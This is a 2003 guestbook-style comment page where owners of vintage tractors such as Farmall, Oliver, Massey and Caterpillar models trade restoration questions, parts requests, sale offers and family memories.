Dwight Giles wrote on Monday, November 24, 2003 (PST):I have a 1934-35? T-20 that I have been working on for about five years. Engine is done, transmission through steering clutches gone through, presently working on left side final drive and undercarriage. I am, however, confused by the serial number, 2772 HA/5, on the engine which would indicate a 1934 TracTracTor with engine component casting dates of 3-22-C and 6-8-C which would indicate 1933 castings. The problem is that the casting dates on the frame and gear cast housing are 7-29-35 and 4-26-35 indicating parts cast in 1935. The serial number plate was missing on this TracTracTor. Any comparisons of other T-20 serial number and casting dates would be appreciated.
G Rogers wrote on Monday, November 24, 2003 (PST):I have one of these AO tractor for sell, if any body need information please contacme at the e-mail adress.
Martien van der Zanden wrote on Monday, November 24, 2003 (PST):For sale 3 original old pictures from Field Marshall tractors can send pictures
Steve Luther wrote on Sunday, November 23, 2003 (PST):those of you in need of parts might want to contact Pate Tractor in Baraboo, WI. The number there is 608-356-8005. Sam Pate owns the business and knows these tractors inside and out.
Nick Thieme wrote on Sunday, November 23, 2003 (PST):My dad,my brother,and I own several masseys. some of the models we own are 20,22,30,33g,33d,44g,44d,44special,55,&81. i plan on working on them when i get back from this deployment to iraq. some are running. some are not.
melanie lanzarotta wrote on Saturday, November 22, 2003 (PST):My husband and I are the owners of 'OLE PUFF'. I would like to ask the person who took this picture to contact me. I am cuirous as to when it was taken. I believe it had to have been 2003 because of the papers (information on the engine) hanging off the front flag holder. Please let me know if you email please put steam in the title/subject area so that i do not mistake and delete your email. thank you, melanie lanzarotta
Vernon Ostby wrote on Saturday, November 22, 2003 (PST):Would like an owners manual for a 1955 555 Massey Harris tractor. Please e-mail me if you have one or any information as to where I could get one. An original manual would be preferable. Thanks.
Brain wrote on Saturday, November 22, 2003 (PST):I am ooking for inforamtion on a International tractor, model W4, wiring for electrical system?
Brain wrote on Saturday, November 22, 2003 (PST):I am ooking for inforamtion on a International tractor, model W4, wiring for electrical system?
Ken wrote on Saturday, November 22, 2003 (PST):My Neibour and I just pulled a 1941 VC out of the dirt from behind the barn on his old farm. It has been sitting there a long time. 20 years or more. We were wondering how much it was worth and if it would be worth trying to get it running. It looks like most of the parts are there. The pulley on the side is missing. The back wheels don't turn, other wise it's not in bad condition, for the condition its in.
Merle wrote on Friday, November 21, 2003 (PST):I still own the B my grandfather bought new in January, 1948 (SN 219473). It has worked it's entire life on our place and still proudly pulls a hayrake every summer. It now has several newer model stablemates, but was the only tractor we had from 1948-1965. Four generations of our family have used the B and the 5th will be soon.
Merle wrote on Friday, November 21, 2003 (PST):I've owned several A's, B's & G's over the years, but my recent purchase of an HN (1942) was my first H. What a nifty fun tractor......Just the right size for parades.
Merle wrote on Friday, November 21, 2003 (PST):I own two pairs of 60s with consecutive serial numbers. 6023304 & 6023305 and 6002746 & 6002747. I originally owned the first one of each pair and stumbled onto their twins, one in a newspaper ad and the other at a farm auction.
Bill Bate wrote on Friday, November 21, 2003 (PST):The MH GP was a wonderful tractor for pulling stumps. Dad cleared his farm. Sometimes it would get stuck in the spring bog here in Indiana. Tie a fence post to the front wheels with a log chain and it would come right out. It also went through fences quite well.
John Hayse - Hayse Bros. Ranches wrote on Wednesday, November 19, 2003 (PST):We have a 1931 T-20 and we are 2nd owner of this tractor. Ours has always been inside, low hours on engine & runs good. We also have hydraulics, chain driven pump mounted above p.t.o. -- Ours spent most of its life working local vineyards, but we only use a few hours a year. We are I.H.C. crawler people. Use TD-6, TD-9, TD-9B, TD-14, TD-15 and 3 TD-18' Lighter & faster than Caterpillar!
Patricik J. Walsh wrote on Wednesday, November 19, 2003 (PST):My family has owned what I think to be a farmall Club since 1972. Although it has been garaged for thirty-one years it has not been running for approximatly 10-12 years. Does anyone know how I may contact someone to give me a price to get it running and clean it up in Connecticut??
Doug Huntsman wrote on Wednesday, November 19, 2003 (PST):Hi, I have an Oliver super 55 and have had some problems with the power steering assist unit. I need to find some parts for it. The main part I need is a bearing race from my Oliver parts catalog part number 100848A. There are two races but only one is broken. This tractor runs great and has a loader and some implements. I will probably sell it when I get the steering fixed. If you know where I can get some parts, please e-mail me. thanks Doug Huntsman, Spanish Fork, Utah
bill lundstrom wrote on Tuesday, November 18, 2003 (PST):Hi. I love this tractor. I have one of my own, a 49 issue. I have a question regarding fire. have new plugs, and new wires, but cannot get the machine to fire at all. any suggesive hints. and what would be the best plug to run in it, I use this mostly for mowing weeds and parades. thankyou Billy Ray
John Hellmann wrote on Monday, November 17, 2003 (PST):Have a '62 LoBoy with fasthitch. Cam with a rear mount Mott Mower. need the shaft that goes from the tractor PTO to the Mot Mower. 15/16" ten spline coupler to a rectangular cross section femal shaft. Anyone have one or know where I can find one?
Kelly wrote on Monday, November 17, 2003 (PST):int.544 sitting in barn for at least 15 years.Tires are flat tractor is strait paint is fair running when parked.What is it worth and how many horsepower is it?
Paul J. Diemer wrote on Monday, November 17, 2003 (PST):My Father and my uncle bought a a new Oliver 70 Rowcrop in 1947. I was 14 years old at the time. On Sunday afternoons it was my transporrtaion to the Elementary school baseball diamond where all the farm kids gathered to practice for the local baseball team. This was in Lenox toenship, Ashtabula county Ohio. The tractor spent many years tilling the soil and hauling in the grain and running our threshing machine on our 189 acre dairy farm.
RAYMOND OLSON wrote on Sunday, November 16, 2003 (PST):nice tractor i live in a small town and i know some one thath has 3 co-ops and i think thay where made by farmers union tractor co
red people wrote on Sunday, November 16, 2003 (PST):ann denn the green tractor got rain over by a farmall 1206 turbo with the crome strat pipe no ann denn
Kristi wrote on Sunday, November 16, 2003 (PST):I am currently painting/restoring an old Russell Steam Tractor believed to be built somewhere around 1911-1915. I'd really like to find more info on it and a unable to find the rusell collectors web site mentioned above. Would appreciate any advice.
john doe wrote on Sunday, November 16, 2003 (PST):my buddy has a 1949 allis chalmers wd and i am looking for parts for him. I have lokked on several sites and have only found distributors. I need to find a magneto for it but cant find 1. Any1 out know where i can?
Michael Monak wrote on Saturday, November 15, 2003 (PST):I have a Super 55 diesel with a front end loader. I need a front bucket for it. The tractor came with a bale spear and homemade bucket. The homemade bucket is worthless so I am looking for a original bucket.
Richie Wright wrote on Friday, November 14, 2003 (PST):I currently own a to 35 fergie am placing it on the market to be sold. I have rebuilt the engine complete,rods & main bearings ,pistons, sleeves valves guides and seals , Transmission has new sliders ,input bearings replacedand out put bearings replaced , quadrant needs some minor adjustments .Overall is a sweet little tractor needs paint , no rust $3300.00 e-me lorit43 at hotmail.com
marion arneson wrote on Thursday, November 13, 2003 (PST):I grew up with Case tractors. L, SC, DC, VAC, 400, etc. My father started farming in the 30's with tractors as his father quit using horses. I We farmed along the Republican River near Inavale, NE. My memories of the VAC was that it beat you to death and we started it with a hand crank. 2 row machinery and long days.
Wayne Satre wrote on Thursday, November 13, 2003 (PST):Here at the shop we have just completed painting and assembling a 1930 GP on steel. The engine has been over hauled and the rest of the driveline has been checked and lubed. All that is left is carb and fluids and its ready to fire. At present we know of about half a dozen of these machines here in SE SAskatchewan and SW manitoba; i have not seen them all, but the word is they are complete and running. The last one I saw was in a museum in Elkhorn Manitoba and it was on rubber. The one we done is battleship grey with red wheels, looks sharp we're just waitng for the owner to make noise out of the straight pipe.
Beth Harris wrote on Wednesday, November 12, 2003 (PST):my father-in-law was just given a JD2010 this past week that was garage kept and still has the manufactured paint on it I never knew a old tractor could look so good but JD are biult to last
Denny Wolf wrote on Wednesday, November 12, 2003 (PST):Grew up on a farm in South Dakota, had larger JD tractors but 60 was all around unit.
H.L. Pyburn wrote on Tuesday, November 11, 2003 (PST): My 560 is a wide front end LPgas tractor.I love the power and the sound of the motor.and it handles so good. I use it for every thing a tractor does on the farm.I need a battery cover for it .If any body knows how to come up with one. H.L. Pyburn
gary elliott 256-355-7987 wrote on Tuesday, November 11, 2003 (PST):i have farmall cub 47or48 model infather shed he has pass want to sell no acess. 2500.00 was running been sitting shed don,t much about it
tom greenhalge wrote on Tuesday, November 11, 2003 (PST):ive got a 48 model c a real beauty. not as perfect as the one pictured above but it is put away for the winter now,.pictures are all I'll have till april of course there are always tractor supply stores, and attachments to look at Oh yeah today is vterans day! GOD bless all vets past & present and thank you for your service
Russ; wrote on Tuesday, November 11, 2003 (PST):G1000 Wheatland produces two things well. An exhaust stack bravado howl and about 110.8 hp at the PTO. It would look equally good going thru any states capital not to mention rearranging the traffic if necessary. Put me on that long list of "I want it too" customers.
Sean wrote on Tuesday, November 11, 2003 (PST):Eguene The Farmall Cub production was started in 1947. But if you the grill that has just a metal fence It looks like the A that was produced in the early years. But parts are avaible at your IH dealer Vavule tractor, and yt store.
Rickey Bolden wrote on Monday, November 10, 2003 (PST):Have A IH Model-FC tractor for sale. Thanks
Ralph Moore wrote on Monday, November 10, 2003 (PST):I have a ferguson tractor TO-30 with a cracked block numbered Z129. I have found a good block with number Z134 marked on side. Is this block a replacement for my old Z129 block? Thanks, R. Moore
Fred Keith wrote on Monday, November 10, 2003 (PST):My dad had a couple of MD's when I was growing up on the farm. They were nice running tractors and I prefer to run them over the ones. Started excellent in warm weather. In cold weather it was best keep them heated or not use them. I don't remember starting good below 50 degrees. Cold weather use tend to give them a lot more head gasket problems. In cold weather we usally pulled started them to help save starters and batteries. I think most of the hours we put on them was running the sawmill we had on the farm. They seem to run all day on 5 gal. on the mill and take 3 gal. per hour in the field. When my dad had the injection pumps rebuilt, put on a dyno and adjusted, the max hp was that could be acheived was 46. He had them set back to 44 to keep them from being over fueled. The engines were 4" bore and in excellent shape. Standard bore for these tractor was 3 7/8". My bought the first in 1957 used and rebuilt it twice before he sold it at auction in 1995. The second one he bought in 1966 and rebuilt it once and sold it in the auction also. They are both still running and I still see them ocationally. We both still both each own a gasoline model M and a model A.
tank_vipa at hotmail.com wrote on Saturday, November 08, 2003 (PST):I was wournding how much a 1938 B would cost.Its missing a front girll and needs work. Please E-mail my back
Earl Lawrence wrote on Friday, November 07, 2003 (PST):I have a cub low-boy with a serial number 2592J. Does anyone know what year this was manufactured?
sam sorrell wrote on Thursday, November 06, 2003 (PST):i have 2 silver kings 1936&1938 both wide fronts 1936 has wire wheels.my uncle also has a 1937.i like these tractors because not a lot people have them
james case wrote on Thursday, November 06, 2003 (PST):I have a John Deere MT 1951 with a single front wheel. I am working on restoring this tractor. I will need items such as; seat, frame, etc. Looking for the best place to get such parts for my restoration. I would appreciate any response that you might have. Thank you in advance.
Cecil wrote on Thursday, November 06, 2003 (PST):There is an oil pull Rumley on display in the town of Miles, Texas which is in SW Central Texas. It is at the entrance to the town and fronts on US Hwy 67N. I think it belongs to a family named Schwertner, but am not sure. The local tractor/trader type in Miles is Wendell Arrington and I am sure he could tell a person anything they might want to know about the tractor if they would call him or write him at PO Box, Miles, Tx 76861.
Fred Michles wrote on Thursday, November 06, 2003 (PST):PLEAS CONTACT ME At my email address. Seeking oarts fir Rumlay 6 we are restoring.l There was a listing March 2003 stating Advanced Rumley 6 in restorable condition. Where is this located and price. Please contact me soon. Thank You Fred
fredmichels wrote on Thursday, November 06, 2003 (PST):please contact me about a March 23,2003 Advanced Rumvley 6 that was for sale. Neew to know if available, mostly; looking for parts. Where is this runley 6 located? The
Patrick wrote on Thursday, November 06, 2003 (PST):I am restoring a AC "WM" Crawler wide track. It has the same motor as the "M" crawler or "U" tractor. I need a piston, ring set, 2 exhaust valves, engine gaskets, manifold gaskets, spark plugs and varius other parts including decals. Can anyone help me? The crawler is a "WM", Ser. 4622. Iam told it is 1937 vintage.
tsss wrote on Tuesday, November 04, 2003 (PST):I could make a better tractor
Jimbob wrote on Tuesday, November 04, 2003 (PST):My old Dad used to own one of these tractors. In the depression he sold it for a banana and a loaf of bread.I found it not longago and bought it.
JimBroughton wrote on Monday, November 03, 2003 (PST):Joel; Your tractor is a 1964 model,about mid-year,I think.... As for worth, out here in the west it would bring about $2500.00 in good condition, maybe a little more with all of those implements!! LOL...Jim
Joe Klaudi wrote on Monday, November 03, 2003 (PST):I have an old Oliver Super 55 that sat idle for years and I was just reciently able to get the gear box repaired. I replaced most of the bearings and seals and am in the process of repairing a crack (freeze damage) in the hydraulic resevior. I have always wanted a Ford 8 or 9 N but settled for this old boy and now I am glad I did. Anyone looking for parts should try Tom at Farmersville Equiptment in Ephrata Pa, 1-717-354-2150. He has the largest selection of Oliver parts new & used that I have found. Good luck...
Harry L.Dill wrote on Monday, November 03, 2003 (PST):I have a used mck-4002eng# sales#46-423 r.h.sheppard SD3 tractor starting motor I also have 60+coppyed instructions and parts list for1,2&3cylinder engines
David wrote on Sunday, November 02, 2003 (PST):We have a F14 that is either a 38 or 39. We bought it fromthe orginal owners son six months ago. He has the bill of sale but wouldn't part with it. We were told that front tires are orginal and the rear tires are new, replaced in the 50's. It has been kept inside thru its life inside when not working and turns on the first crank. He said they debated on spending the extra $8.00 for rubber instead or steel. We were wondering if anyone knew about what the value of this tractor would be. We also have what we think is a b275? It is supposed to be an enlish ford international. does anyone know anything about them or have a picture. thanks
Don Etnier wrote on Saturday, November 01, 2003 (PST):Have MM UT100D/UT200D that I need to restore. Would like any info you have on year of tractor and anyone that rebuilds/restores carburetors, generators, starters, etc. Thanks!
Craig Whitfield wrote on Friday, October 31, 2003 (PST):you
Roger Ritchison wrote on Friday, October 31, 2003 (PST):In 1970, my dad purchased a 1951 Minnie-Mo ZA to plant and cultivate with. This was the first tractor I learned to drive. Once, it broke the cooling fan bracket and let the fan gouge into the radiator,which was repairable, but left a large scar in the radiator. He sold it in 1976 to a neighbor, and it bounced around the neighborhood for a few years before disappearing. Then, last winter, my dad and I were taking a drive about 40 miles from home, when we saw a beautifully restored ZA for sale on a used equipment dealers lot. We stopped for a look. My dad, half jokingly, said,"I wonder if this is my old Minnie. We looked at the radiator, and sure enough, there was the same scar from so long ago. Needless to say ,Old Minnie came back home to us, and sets proudly in our barn, but a little prettier than she used to be.
Roger wrote on Friday, October 31, 2003 (PST):I have 1958 "770" For Sale.Tractor is all restored,4 New Tires,Paint, Decals,It Looks and runs like NEW!Ready for Show,Work or Parade!If intrested call me at (603)765-6732
David Fincher wrote on Thursday, October 30, 2003 (PST): I would like to know about the mower mounted on the rear drawbar of the Farmall Regular tractor. What is model of the mower mounted? What is years on different style of the mower mounted? How many it made? Do you have collect any mowers? Don't about 25V or 27V mower (frame T and Tail wheel)David
Landon Paulson wrote on Thursday, October 30, 2003 (PST):Hello again, I've been considering selling my 1946 D Leader It needs quite a bit of work, alongf with the original motor, nothing that cant be fixed with time and money, that of which being 15 i dont have, so, I've been thinking of letting some one who is capable of fully restoring it and giving it the atention it deserves the pleasure of owning it, this machine has been in the family for the last 57 years so its really hard for me to even consider to let it go, ill let it go if the price is right but im not in a cramp for money, so if it isnt ill just keep it cause it doesnt cost me anything to let it sit there and age. so my e-mail address is lpaulson7000 at hotmail.com i live in alberta canada and the tractor will be sold "as is where is" SERIOUS INQUIRES ONLY PLEASE. thanks for now bye.
Stephen Harlow wrote on Thursday, October 30, 2003 (PST): I have a series 2 D15 gas. I had a D15 diesel raidator rebuilt/modifed to fit my D15 going to a 3 tube raidator solved the heating problem. Very nice enjoyable tractor
casey sikes wrote on Tuesday, October 28, 2003 (PST):I recently bought an AC D17 series 3, What color were the rear wheels originally painted? Right now my 17 has white rims with an orange hub. Is this correct?
mike.s wrote on Tuesday, October 28, 2003 (PST):I still use these in the feild.I have three row crop 44`s .Theystill run really nice even thoughIhave to work on them once in a while.I tractor pull with two of them.I them drove them when Iwas a kid to .
dave powell wrote on Tuesday, October 28, 2003 (PST):wanted to by WD45 diesd wide front axel too restor,please email price ect. regards davie
jason hendrickson wrote on Monday, October 27, 2003 (PST):has anyone heard of a co-op model 3? I have one manufactured in st. paul minn, by the farmers union central exchange. it is based on a dodge truck industrial chassis and i believe it to be made around 1950. I would like to know how to aquire parts for this oddball, pto drive parts in particular. any advice is appreciated. thanks...
Brian wrote on Monday, October 27, 2003 (PST):I just got a T-20 of my own...engine is froze, but it is 99% complete, and has a "new" set of tracks. Has a (aftermarket) Bucyrus Erie blade setup. the blade is missing, but everythink else is in tact. I'm looking for any source for information and or parts. I have a few #'s off the engine..2377DA & 2378DA any ideas? What is the value? Year of Manufacture?
Jeff wrote on Sunday, October 26, 2003 (PST):I had a 1963 560 Diesel and I loved it, I worked it into the ground. I really relied on it and It never failed me once. I love this tractors and glad I bought one. I would love to own one again!
Nelson Hardy wrote on Sunday, October 26, 2003 (PST):1937 T-20 Awsome little crawler, I've got mine fitted with a 7 foot blade a great snow pusher . I have a good set of 16 inch track both sides of running gear some parts usable some not. also parts crawler no motor good contact for magneto parts also I have some misc. parts
Rick wrote on Sunday, October 26, 2003 (PST):It makes me sick to read some of this stuff.Some people should not even touch a Case tractor. My dog knows more than half these guys.
Chris wrote on Sunday, October 26, 2003 (PST):Could anyone tell me whether it is a seal or a gasket on the crankshaft on the back of the motor of a 1945 or 1946 WC? And how do you intsall the gasket or seal around the crankshaft, are there any problems to be aware of and how difficult is it to do myself?
Wayne Stafford wrote on Sunday, October 26, 2003 (PST):I have a Super Dexta that is a TWIN to the one pictured here. How can I know what model year mine is? It's in good running conditon and looks about as good as the picture above. I live in Souther middle Tennessee. If interested contact me by my e-mail (click on name) or phone 931-363-5649 after 6;30 P.M. cst/. U-pick it up with 7' for sickel mower for low price of $3,500.00. First one with the green gets her. Wayne
Joe Liggett wrote on Friday, October 24, 2003 (PDT):I just got a 1953 Wd45 and its in great shape,changed to 12 volt system, this tractor has the best pulling power of any tractor I've seen. I need to do one thing 4 gear has gone bad, it acts like it wants to go but will set there, other wise, one proud man, got a 3 point hitch with power lift, now I need a mower to put with it.
JOEL wrote on Thursday, October 23, 2003 (PDT):Have a yellow/white cub w/ 5' sickle mower,4 1/2' mid or front-mounted blade, 4' flail mower made by Mott, 2 row cultivator, 1 bottom plow, and a 1 row planter. Serial number 236561. Can anyone tell me how much this total package is worth and the year of the tractor? Tractor runs like a top and have used the blade and mowers several times and all of the attachments have been shedded.
RIchard wrote on Thursday, October 23, 2003 (PDT):I have accumulated a 1948 Case SC and am willing to sell it as a restoration project or as a parts tractor. The fenders aren't real good, but the tractor will make a good project. I do have 2 good rear tires, but the front wheels are bare. Send e-mail if interested!!
Chad wrote on Thursday, October 23, 2003 (PDT):Have a 44 Special. What is the difference between the regular 44 and the 44 Special? How can I tell what year it was manufactured?
Robert L. Scheible 4179 BUCK MTN. ROAD Dover Ar 72837 wrote on Wednesday, October 22, 2003 (PDT):I just bought a farm from my neighbors complete with John Deere L tractor with mid mount mower,one bottom braking plow,cultivator, planter, and spring tooth field cultivator;adapted from M with books all very old and nummerous letters vintage (1940-1950)from JD regarding tractor and equip. I have removed wheels tofind neither back tire had ever had flat,what luck! I have found access to new 7.50x22" rear tires with F-1 firestone cross hatch tires. I had almost given up hope, does anyone need these tires? What is the value of all this? According to book this Herc was 9.9 h.p. Is this correct? I have found many new parts available still through J.D. seat, steering wheel, hub caps,etc
tiffany wrote on Wednesday, October 22, 2003 (PDT):Can anyone tell me what year the leader tractor is in the picture on this site. I am looking for pictures of a 1946. Thanks
Rocky Blades wrote on Tuesday, October 21, 2003 (PDT):I have a Farmall M and H and I like them alot,they run very well. The M I bought and the H use to be my grandfathers, I also have a buzz saw I can use on both tractors. Thanks, Rocky Blades.
José Ignacio ALBUJA wrote on Tuesday, October 21, 2003 (PDT):I have my completely original OLIVER SUPER 55 bought by my grandfather in 1.957. I just used it during weekends only for driving. Unfortunately the injection pump head ( part # HD3663AR, American Bosch) ( in spanish = cabezal ) became brocked. If somebody can advise me how to buy a nerw part, my tractor will work again, and I can invite you to my home in Ecuador. I am a lawyer fut partime farmer. Please help me.
John Otten wrote on Tuesday, October 21, 2003 (PDT):I own a 1066 International (white Cab series) This tractor produced 210 horse power just for fun We used it in the field with 5 furrow 20 inch bottoms and we could pull this plow at 10 mph at 3/4 throttle. We could out pull on dry ground tractors that had 200 horse power 4 wheel drive. I am currently looking for a 1066 to refurbish John Ontario Canada
Harv Wewel wrote on Monday, October 20, 2003 (PDT):I own a Farmall MD, not sure of the age but it has been in my family as far back as I can recall. It has not been used for several years but worked just fine until it was put in the shed. Can anyone tell me a ballpark figure on how much this tractor is worth?
Deltafish wrote on Monday, October 20, 2003 (PDT):Just bought a 1947 ford 8n. Sweet tractor in great shape. It has a front loader, and rear box scraper, both stock. Everything functions and the tractor starts on one one click. Love this little monster. It does need a new gas tank any suggestions?
John Hartman wrote on Sunday, October 19, 2003 (PDT):I have a old ford tractor maby 2N that came with a piece of land I bought in California. It runs good and has several impliments with it. How do I find out more about it. It is a flat head engine with the disturbutor on the front of the block. ??
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Reggie Rackliff wrote on Friday, October 17, 2003 (PDT): Bought a 420C fourteen years ago for $2000. and have put at least that mucch more into it. Well worth it. Good power toweight ratio. Retired to plow snowbanks back and pull out a little firewood. It has a no. 62 blade and Braden pto winch that works real nice. Keep Crawlin'...
Kent Dacke wrote on Friday, October 17, 2003 (PDT):I was looking for a tractor with a loader when I found (stumbled) onto my Super 55. It was a late 1958. It came with optional power steering, front and rear hydrolics with fluid control and of course an Oliver loader. I improved the iginition system by replacing the coil, points and condensor by installing electronic igintion from Genessee Products for less than $100.00. I highly recommend doing this to any point operated machine. It now saves the starter motor and a few choice words. I now only have to touch the iginition switch to fire up the engine... without using the choke! The kit comes complete with easy to follow instructions and high output coil that looks stock and mounts where the original mounted. The module and magnetic pick up are concelled in the distributor. It took less than thirty minuets to install. No one would ever know until they saw the extra wire... and then probably would never make the connection that it was converted. Yes, I love my 55. Ford 8 and 9N owners come over to drool. But there is no compairson between the two. I do need a replacement dampner for the "Easy Ride" seat if anyone can help. Please contact me at kdacke at hotmail.com.
Larry Gibbs wrote on Thursday, October 16, 2003 (PDT):I have a borther-in-law with a 1963 Ford Dexta gas tractor who might be interested in selling it. Runs good, and looking at his options.
george wrote on Thursday, October 16, 2003 (PDT):hello, everybody i got a cockshutt tractor i think it is a 1949 or 50 the engine no. is 6b230 the serial no.40-2599 can you tell me the year.thank you
Sande Hooks wrote on Wednesday, October 15, 2003 (PDT):My husband and I just started the restoration of a 1944 Case SC. It was his Great Grandfather's tractor, and its in decent shape, but will take some work. If any one has any pointers on paint, and decals please let us know. We can use all the help we can get. Thanks, Sande
Ron Freeman wrote on Tuesday, October 14, 2003 (PDT):I have a 1948 Oliver Cletrac HG 60". It is 99% restored. It has bin converted from mag to coil. The only new parts were u-joints, gas cap & radiator cap. I bought the tractor for $50.00. The only motor work required was a valve job.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
Jan Brinkman wrote on Monday, October 13, 2003 (PDT):Kevin Parks, I'm in the middle of restoring a cub jr. and have found that The Massey Tractor Data Book has the paint colors. It is also very helpful with identifing models. I'm looking for water return pipe from the left side of the block down to the radiator. Good luck with your proj. Jan brinkman
Gary Brady wrote on Sunday, October 12, 2003 (PDT):I bought a 1951 TO-20 thru Ebay in Sept. of this year. Since then, I have purchased many parts thru ebay. I have had good luck with finding and buying parts. I would like to know if anyone knows the original paint color codes for the Ferguson TO-20 tractor. Thaks
M Hicham Wati wrote on Sunday, October 12, 2003 (PDT):we interested in fordson super major tractors for breaking in any condition and in fordson super major spare parts like(engines,backend,gearbox...) please provide us if you have any of our request. e.mail;watico at scs-net.org
Bob Tetrault wrote on Saturday, October 11, 2003 (PDT):I have a 1939 9N that will not fire spark to the plugs and there has been a new coil, points, plugs, etc. installed and the distributor will fire out of the tractor.... anyone have any suggestions ? Thanks in advance !
Bob wrote on Saturday, October 11, 2003 (PDT):Just acquired an AC...with a serial number beginning "W", no other markings..Since I am a Farmall Guy, I have little experience with the ac..any idea what I might have ? It needs a lot of work, narrow FE.Looks like it might hasve had solid rubber wheels in front..hand brakes..straight exhaust..maybe missing front cowling of radiator,looks might solid..no pto..any infor appreciated.
Bud Risner wrote on Friday, October 10, 2003 (PDT):We Have A D-15 Gas Tractor.We just re-built the engine and need a diegram or book that shows the govner linkage.The machine shop re-moved this assembly befor we looked at it.We would appreciate any help we can get. Thanks AC Collecters.
Chris wrote on Friday, October 10, 2003 (PDT):I have a 1950 ZAU and I LOVE that tractor. Looks good all painted up too. The tractor in the picture is a ZBU. You can tell by the steering column and how it sticks up out of the dash. The ZA's had the steering shaft run down along side of the tractor.
Jeff wrote on Friday, October 10, 2003 (PDT):I am very interested in buying a M for my own personal use; This tractor really catches my eye for some reason; Can anyone tell me the horsepower of these units. Did power steering come with it or are they after market I've been seeing on the net; Did they come with live hdy and pto;
Ray Baker wrote on Thursday, October 09, 2003 (PDT):'Have a totally restored ID6 in the family!!! I spent many hrs. in the saddle in the 50s & 60s. It is 1944 model, industrial in orgin, adapted for farm use. It looks 7 acts laike a new machine!!!
Glen M wrote on Thursday, October 09, 2003 (PDT):Just bought MF135 believe its a 1964,I like to know the type and amount of oil to use,with filtor replacement
Edie Bocksnick wrote on Wednesday, October 08, 2003 (PDT):Can anyone tell me if the Oliver 550 is suppose to be a positive ground system? That was the way it was connected when we bought the tractor. It appears to be having electrical problems and I was just wondering if that was part of the problem. Any help would be appreciated.
ckwagoner wrote on Tuesday, October 07, 2003 (PDT):im looking for any information on a 1947 or a 1948 farmall international h series tractor , if anyone has any pictures or information please email me, thanks
Jeff Knaack wrote on Tuesday, October 07, 2003 (PDT):My Dad had a "G", not sure what year, a later one. We called it Big John, because the model "MT" was Little John. I remember the removable "steering wheel" that Dad used to crank it to start it.
Jeff Knaack wrote on Tuesday, October 07, 2003 (PDT): Dad started farming with a 1948 MT, farming a quarter section. He later added a "G", so he had a Big John and a Little John. His neighbor bought Little John at the farm sale, and still uses it to mow with a belly mower.
Bo Earhart wrote on Tuesday, October 07, 2003 (PDT):I am in the process of looking to purchase an Oliver tractor. I am currently looking at the Super 55 and the 550. Does anyone have any input on which one they prefer or how they compare to one another?
JOE wrote on Monday, October 06, 2003 (PDT):My Dad bought two model R one in the spring of 1970 the other a year later.They replaced a model G and A. The power they had was ubelivable compared to the old G and A. We also had two 70 that were newer but could not touch the R for power. They are 1949 and 1951 model. We used them for many years until we bought a 4020 and later a 4440. We still have one of the R and despite the power and comfort of the 4440, there will never be a tractor like the R. Joe
Larry Hill wrote on Monday, October 06, 2003 (PDT):My Father and Uncle purchased a 1941 OLIVER 60 with wide front new to custom harvest during the War. They farmed in Clark County, Washington. A few years ago my cousin sold the tractor for $50.00 and did not notify me. I called the person that bought it and he stated he got it running and sold it to another person that he thought was moving to Yakima, WA. I would love to have the tractor back and know I will probably have to pay more. It had a six cylinder motor, wide fenders, six forward speeds, and wide front.
Mike Lewis wrote on Monday, October 06, 2003 (PDT):My D17 has a 12 volt system and the wiring fried from the generator to the amp gauge and from the starter solenoid to the amp guage. The battery was hooked up with a negitive ground. Is this the correct hook up Negitive ground or is it a positive ground. Thanks for any help!
Diana Smith wrote on Sunday, October 05, 2003 (PDT):I have a friend who has been looking for one of these tractors. Do you know of anyone who would like to sell?
kurt wrote on Sunday, October 05, 2003 (PDT): Got three oliver 1855,1955 ,look for part Tractor. l used then ever day .drop me a line. l work with oliver all my life all sizes to.
Allen Huber wrote on Friday, October 03, 2003 (PDT):My Dad bought a new 830 in 1959 Iwas 9 years old he bought the tractor five bottom plow packer pony drill for 6000.00 it was awonderful tractor I spent a good part of my youth on that tractor you could work all day on 35 gallons of fuel I still have the original operator,s manual. 701-255-3019
snake wrote on Friday, October 03, 2003 (PDT):I bought a 97MASSEY FERGUSON from an old boy in Dumont Ia. back in April of 2003.I went to the sale for this tractor.It cost 1800.00 bucks.The tractor was made by the Minneapolis Moline company,and has a 504 ci.diesel engine made by M.M..It is a 1963 model and does not have the optional front wheel assist . I wanted the tractor for pulling. It weights 8250 stripped down and has 100 hp. If you get the weight on the tractor right the tractor will take care of its self! I have 4 2nd place trophys and 9 1st place trophys. Would of mayby had more but i put the weight in the wrong place . Amagin that. I love this tractor and have had the heavy looking frontend 2 to 3 foot off of the ground. What a rush! They pull good and have an honest 100hp. The only thing i would not recommend with this tractor is backing a wagon up over about 10 ft,you cant get ahead of the wagon.this winter i am going to have the tractor painted and will put the pics. in this column when i am done.
Steve wrote on Friday, October 03, 2003 (PDT):I have a D-19 deisel that needs some help and would like to buy a parts one reasonably priced, any help would be great.
Jeremy wrote on Thursday, October 02, 2003 (PDT):I bought a tractor this spring and it is not repainted but looks identical to this one, I have it all repaired and pony and diesel are now running good, my dad just bought a Case 600 deisel and we chained them together and neither could get enough traction, but the 720 really impressed me.
Ryan O'Leary wrote on Thursday, October 02, 2003 (PDT):I have 3 Pony's and a Pacer,all like new.My question is,I have a 2-way plow (left & right) and I don't know how to hook it up,or operate it independently?
Gus Zimmer wrote on Thursday, October 02, 2003 (PDT):Hi, I just inherited a Ford 800 tractor with PTO & 3 point hitch. Can anyone tell me if it has a dual range transmission? When I start it, it seems to be going too fast. Also, how can I find out how old it is? Thanks for your help. Gus
